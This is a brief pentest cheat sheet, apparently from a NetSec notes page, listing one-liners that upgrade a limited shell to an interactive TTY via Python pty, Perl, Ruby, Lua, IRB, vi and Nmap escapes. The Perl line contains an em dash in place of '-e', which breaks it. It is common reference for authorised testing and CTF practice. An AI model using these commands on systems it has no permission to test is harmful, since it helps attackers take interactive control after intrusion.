Upgrade Shell

Shell Spawning

Python

1
python -c 'import pty;pty.spawn("/bin/bash")'
Copied!

Echo

1
echo os.system('/bin/bash')
Copied!

/bin/sh

1
/bin/sh -i
Copied!

Perl

1
perl —e 'exec "/bin/sh";'
2
3
perl: exec "/bin/sh";
Copied!

Ruby

1
ruby: exec "/bin/sh"
Copied!

Lua

1
lua: os.execute('/bin/sh')
Copied!

Exec from within IRB

1
exec "/bin/sh"
Copied!

From within vi

1
:!bash
2
3
:set shell=/bin/bash:shell
Copied!

From within Nmap

1
!sh
Copied!
Spawning a TTY Shell
NetSec
Last modified 1yr ago
Copy link